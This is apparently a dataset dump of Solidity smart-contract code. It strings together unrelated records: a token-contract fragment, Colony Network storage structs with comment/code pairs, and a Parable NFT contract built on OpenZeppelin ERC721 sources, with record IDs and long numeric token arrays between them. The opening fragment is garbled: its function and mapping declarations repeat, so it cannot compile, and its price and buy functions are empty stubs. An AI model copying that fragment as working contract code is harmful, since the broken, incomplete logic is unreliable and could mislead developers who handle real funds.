returns(bool) { uint256 totalAddresses = recipients.length; require(totalAddresses <= 150,"Too many recipients"); for(uint i = 0; i < totalAddresses; i++) { transfer(recipients[i], tokenAmount[i]); } return true; } mapping (address => bool) public whitelisted; function airdropACTIVE(address[] memory recipients,uint256[] memory tokenAmount) public returns(bool) { uint256 totalAddresses = recipients.length; require(totalAddresses <= 150,"Too many recipients"); for(uint i = 0; i < totalAddresses; i++) { transfer(recipients[i], tokenAmount[i]); } return true; } mapping (address => bool) public whitelisted; bool public whitelistingStatus; function changeWhitelistingStatus() onlyOwner public{ if (whitelistingStatus == false){ whitelistingStatus = true; } else{ whitelistingStatus = false; } } function changeWhitelistingStatus() onlyOwner public{ if (whitelistingStatus == false){ whitelistingStatus = true; } else{ whitelistingStatus = false; } } function changeWhitelistingStatus() onlyOwner public{ if (whitelistingStatus == false){ whitelistingStatus = true; } else{ whitelistingStatus = false; } } function whitelistUser(address userAddress) onlyOwner public{ require(whitelistingStatus == true); require(userAddress != address(0)); whitelisted[userAddress] = true; } function whitelistManyUsers(address[] memory userAddresses) onlyOwner public{ require(whitelistingStatus == true); uint256 addressCount = userAddresses.length; require(addressCount <= 150,"Too many addresses"); for(uint256 i = 0; i < addressCount; i++){ whitelisted[userAddresses[i]] = true; } } uint256 public sellPrice; uint256 public buyPrice; function whitelistManyUsers(address[] memory userAddresses) onlyOwner public{ require(whitelistingStatus == true); uint256 addressCount = userAddresses.length; require(addressCount <= 150,"Too many addresses"); for(uint256 i = 0; i < addressCount; i++){ whitelisted[userAddresses[i]] = true; } } uint256 public sellPrice; uint256 public buyPrice; function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { } function buyTokens() payable public { } function sellTokens(uint256 amount) public { uint256 etherAmount = amount * sellPrice/(10**_decimals); } }
1,840,934
[ 1, 4782, 3152, 434, 326, 1147, 1220, 3414, 279, 2874, 598, 777, 501, 2502, 1220, 6026, 279, 1071, 871, 434, 1147, 7412, 1220, 19527, 7712, 2973, 326, 3844, 18305, 88, 1220, 6026, 279, 1071, 871, 364, 12810, 261, 11223, 21228, 13, 9484, 1220, 903, 613, 23556, 434, 1147, 12279, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 534, 402, 6582, 27788, 27055, 353, 16199, 288, 203, 377, 203, 203, 565, 273, 540, 8730, 2347, 15553, 1850, 273, 203, 565, 28562, 14468, 33, 5549, 203, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 533, 5381, 3238, 389, 529, 273, 315, 54, 402, 6582, 31289, 28932, 14432, 203, 565, 533, 5381, 3238, 389, 7175, 273, 315, 862, 61, 22, 14432, 203, 565, 2254, 5034, 5381, 3238, 389, 31734, 273, 6549, 31, 203, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 12296, 951, 31, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 1359, 31, 203, 565, 2874, 261, 2867, 516, 1426, 13, 1071, 12810, 3032, 31, 203, 203, 203, 565, 273, 540, 17187, 9964, 55, 540, 273, 203, 565, 28562, 14468, 33, 5549, 203, 203, 565, 871, 12279, 12, 2867, 8808, 628, 16, 1758, 8808, 358, 16, 2254, 5034, 460, 1769, 203, 203, 565, 871, 605, 321, 12, 2867, 8808, 628, 16, 2254, 5034, 460, 1769, 203, 540, 203, 565, 871, 478, 9808, 13971, 12, 2867, 1018, 16, 1426, 12810, 1769, 203, 377, 203, 565, 871, 1716, 685, 1125, 12, 2867, 8808, 628, 16, 1758, 8808, 17571, 264, 16, 2254, 5034, 460, 1769, 203, 203, 203, 203, 565, 273, 4202, 23255, 4232, 39, 3462, 13690, 55, 4202, 273, 203, 565, 422, 4428, 894, 5549, 203, 377, 203, 377, 203, 565, 445, 508, 1435, 1071, 16618, 1135, 12, 1080, 3778, 15329, 203, 3639, 327, 389, 529, 31, 203, 565, 289, 2 ]
/* This file is part of The Colony Network. The Colony Network is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. The Colony Network is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with The Colony Network. If not, see <http://www.gnu.org/licenses/>. */ pragma solidity ^0.4.17; pragma experimental "v0.5.0"; pragma experimental "ABIEncoderV2"; import "../lib/dappsys/auth.sol"; import "../lib/dappsys/roles.sol"; import "./Authority.sol"; import "./IColony.sol"; import "./EtherRouter.sol"; import "./Token.sol"; contract ColonyNetworkStorage is DSAuth { address resolver; uint256 colonyCount; uint256 currentColonyVersion; // TODO: We can probably do better than having three colony-related mappings mapping (uint256 => address) _coloniesIndex; mapping (bytes32 => address) _colonies; mapping (address => bool) _isColony; // Maps colony contract versions to respective resolvers mapping (uint256 => address) colonyVersionResolver; struct Skill { // total number of parent skills uint256 nParents; // total number of child skills uint256 nChildren; // array of `skill_id`s of parent skills starting from the 1st to `n`th, where `n` is an integer power of two larger than or equal to 1 uint256[] parents; // array of `skill_id`s of all child skills uint256[] children; // `true` for a global skill reused across colonies or `false` for a skill mapped to a single colony's domain bool globalSkill; } mapping (uint256 => Skill) skills; uint256 skillCount; uint256 rootGlobalSkillId; struct ReputationLogEntry { address user; int amount; uint256 skillId; address colony; uint256 nUpdates; uint256 nPreviousUpdates; } mapping (uint => ReputationLogEntry[]) ReputationUpdateLogs; uint256 activeReputationUpdateLog; bytes32 reputationRootHash; mapping (address => uint) stakedBalances; address reputationMiningCycle; uint256 reputationRootHashNNodes; }
total number of parent skills total number of child skills array of `skill_id`s of parent skills starting from the 1st to `n`th, where `n` is an integer power of two larger than or equal to 1 array of `skill_id`s of all child skills `true` for a global skill reused across colonies or `false` for a skill mapped to a single colony's domain
struct Skill { uint256 nParents; uint256 nChildren; uint256[] parents; uint256[] children; bool globalSkill; } mapping (uint256 => Skill) skills; uint256 skillCount; uint256 rootGlobalSkillId;
12,666,889
[ 1, 4963, 1300, 434, 982, 15667, 87, 2078, 1300, 434, 1151, 15667, 87, 526, 434, 1375, 7771, 737, 67, 350, 68, 87, 434, 982, 15667, 87, 5023, 628, 326, 404, 334, 358, 1375, 82, 68, 451, 16, 1625, 1375, 82, 68, 353, 392, 3571, 7212, 434, 2795, 10974, 2353, 578, 3959, 358, 404, 526, 434, 1375, 7771, 737, 67, 350, 68, 87, 434, 777, 1151, 15667, 87, 1375, 3767, 68, 364, 279, 2552, 15667, 23312, 10279, 13336, 606, 578, 1375, 5743, 68, 364, 279, 15667, 5525, 358, 279, 2202, 645, 6598, 1807, 2461, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 1958, 15821, 288, 203, 565, 2254, 5034, 290, 13733, 31, 203, 565, 2254, 5034, 290, 4212, 31, 203, 565, 2254, 5034, 8526, 6298, 31, 203, 565, 2254, 5034, 8526, 2325, 31, 203, 565, 1426, 2552, 9030, 31, 203, 225, 289, 203, 225, 2874, 261, 11890, 5034, 516, 15821, 13, 15667, 87, 31, 203, 225, 2254, 5034, 15667, 1380, 31, 203, 225, 2254, 5034, 1365, 5160, 9030, 548, 31, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ERC721Tradable.sol"; import "./IERC20.sol"; import "./openzeppelin-solidity/contracts/utils/math/SafeMath.sol"; import "./ICards.sol"; /** * @title Cards */ contract Cards is ERC721Tradable, ICards { using SafeMath for uint256; // Name change token address address private _nctAddress; constructor(address _proxyRegistryAddress, address nctAddress) ERC721Tradable("Parable", "PAR", _proxyRegistryAddress) { _nctAddress = nctAddress; } string public constant CARDS_PROVENANCE = "8a76b6238f7b5f14fefe90d2f176f9c9c3d410347d769e7183a25e95b78e4e69"; // Sha256 hash of the concatenated hashes of the image files uint256 public constant SALE_START_TIMESTAMP = 1630346400; // Start date of the sale. timestamps in solidity are in seconds https://docs.soliditylang.org/en/latest/units-and-global-variables.html?highlight=block#block-and-transaction-properties // Time after which cards are randomized and allotted uint256 public constant REVEAL_TIMESTAMP = SALE_START_TIMESTAMP + (86400 * 14); // 14 days after release uint256 public constant NAME_CHANGE_PRICE = 1830 * (10 ** 18); // Cost for changing the name of a Parable uint256 public startingIndexBlock; uint256 public startingIndex; uint256 public constant MAX_NFT_SUPPLY = 42000; // Mapping if certain name string has already been reserved mapping (string => bool) private _nameReserved; // Mapping from token ID to when the token was minted mapping (uint256 => uint256) private _mintTime; // Mapping from token ID to name mapping (uint256 => string) private _tokenName; // Events event NameChange (uint256 indexed cardIndex, string newName); /** * @dev Returns if the name has been reserved. */ function isNameReserved(string memory nameString) public view returns (bool) { return _nameReserved[toLower(nameString)]; } /** * @dev Returns if the NFT has been minted before reveal phase */ function isMintedBeforeReveal(uint256 index) override public view returns (bool) { return _mintTime[index] < REVEAL_TIMESTAMP; } /** * @dev Returns when the NFT has been minted */ function mintedTimestamp(uint256 index) override public view returns (uint256) { return _mintTime[index]; } function baseTokenURI() override public pure returns (string memory) { return "https://parablenft.com/api/parables/"; } function contractURI() public pure returns (string memory) { return "https://parablenft.com/api/contractmeta/"; } /** * @dev Returns name of the NFT at index. */ function tokenNameByIndex(uint256 index) public view returns (string memory) { return _tokenName[index]; } function mintNftTo(address _to) public onlyOwner { require(block.timestamp >= SALE_START_TIMESTAMP, "Sale has not started"); uint mintIndex = totalSupply().add(1); _mintTime[mintIndex] = block.timestamp; mintTo(_to); if (startingIndexBlock == 0 && (totalSupply() == MAX_NFT_SUPPLY || block.timestamp >= REVEAL_TIMESTAMP)) { startingIndexBlock = block.number; } } function finalizeStartingIndex() public { require(startingIndex == 0, "Starting index is already set"); require(startingIndexBlock != 0, "Starting index block must be set"); startingIndex = uint(blockhash(startingIndexBlock)) % MAX_NFT_SUPPLY; // Just a sanity case in the worst case if this function is called late (EVM only stores last 256 block hashes) if (block.number.sub(startingIndexBlock) > 255) { startingIndex = uint(blockhash(block.number-1)) % MAX_NFT_SUPPLY; } // Prevent default sequence if (startingIndex == 0) { startingIndex = startingIndex.add(1); } } function changeName(uint256 tokenId, string memory newName) public { address owner = ownerOf(tokenId); require(_msgSender() == owner, "ERC721: caller is not the owner"); require(validateName(newName) == true, "Not a valid new name"); require(sha256(bytes(newName)) != sha256(bytes(_tokenName[tokenId])), "New name is same as the current one"); require(isNameReserved(newName) == false, "Name already reserved"); IERC20(_nctAddress).transferFrom(msg.sender, address(this), NAME_CHANGE_PRICE); // If already named, dereserve old name if (bytes(_tokenName[tokenId]).length > 0) { toggleReserveName(_tokenName[tokenId], false); } toggleReserveName(newName, true); _tokenName[tokenId] = newName; IERC20(_nctAddress).burn(NAME_CHANGE_PRICE); emit NameChange(tokenId, newName); } /** * @dev Reserves the name if isReserve is set to true, de-reserves if set to false */ function toggleReserveName(string memory str, bool isReserve) internal { _nameReserved[toLower(str)] = isReserve; } /** * @dev Check if the name string is valid (Alphanumeric and spaces without leading or trailing space) */ function validateName(string memory str) public pure returns (bool){ bytes memory b = bytes(str); if(b.length < 1) return false; if(b.length > 25) return false; // Cannot be longer than 25 characters if(b[0] == 0x20) return false; // Leading space if (b[b.length - 1] == 0x20) return false; // Trailing space bytes1 lastChar = b[0]; for(uint i; i<b.length; i++){ bytes1 char = b[i]; if (char == 0x20 && lastChar == 0x20) return false; // Cannot contain continous spaces if( !(char >= 0x30 && char <= 0x39) && //9-0 !(char >= 0x41 && char <= 0x5A) && //A-Z !(char >= 0x61 && char <= 0x7A) && //a-z !(char == 0x20) //space ) return false; lastChar = char; } return true; } function toLower(string memory str) public pure returns (string memory){ bytes memory bStr = bytes(str); bytes memory bLower = new bytes(bStr.length); for (uint i = 0; i < bStr.length; i++) { // Uppercase character if ((uint8(bStr[i]) >= 65) && (uint8(bStr[i]) <= 90)) { bLower[i] = bytes1(uint8(bStr[i]) + 32); } else { bLower[i] = bStr[i]; } } return string(bLower); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./openzeppelin-solidity/contracts/token/ERC721/ERC721.sol"; import "./openzeppelin-solidity/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "./openzeppelin-solidity/contracts/access/Ownable.sol"; import "./openzeppelin-solidity/contracts/utils/math/SafeMath.sol"; import "./openzeppelin-solidity/contracts/utils/Strings.sol"; contract OwnableDelegateProxy {} contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } /** * @title ERC721Tradable * ERC721Tradable - ERC721 contract that whitelists a trading address, and has minting functionality. */ abstract contract ERC721Tradable is ERC721Enumerable, Ownable { using SafeMath for uint256; address proxyRegistryAddress; uint256 private _currentTokenId = 0; constructor( string memory _name, string memory _symbol, address _proxyRegistryAddress ) ERC721(_name, _symbol) { proxyRegistryAddress = _proxyRegistryAddress; } /** * @dev Mints a token to an address with a tokenURI. * @param _to address of the future owner of the token */ function mintTo(address _to) public onlyOwner { uint256 newTokenId = _getNextTokenId(); _mint(_to, newTokenId); _incrementTokenId(); } /** * @dev calculates the next token ID based on value of _currentTokenId * @return uint256 for the next token ID */ function _getNextTokenId() private view returns (uint256) { return _currentTokenId.add(1); } /** * @dev increments the value of _currentTokenId */ function _incrementTokenId() private { _currentTokenId++; } function baseTokenURI() virtual public pure returns (string memory); function tokenURI(uint256 _tokenId) override public pure returns (string memory) { return string(abi.encodePacked(baseTokenURI(), Strings.toString(_tokenId))); } /** * Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-less listings. */ function isApprovedForAll(address owner, address operator) override public view returns (bool) { // Whitelist OpenSea proxy contract for easy trading. ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress); if (address(proxyRegistry.proxies(owner)) == operator) { return true; } return super.isApprovedForAll(owner, operator); } } import "./openzeppelin-solidity/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; // interface ICreature is IERC721Enumerable { interface ICards is IERC721Enumerable{ function isMintedBeforeReveal(uint256 index) external view returns (bool); function mintedTimestamp(uint256 index) external view returns (uint256); } pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * TODO: Add comment */ function burn(uint256 burnQuantity) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping (uint256 => address) private _owners; // Mapping owner address to token count mapping (address => uint256) private _balances; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { 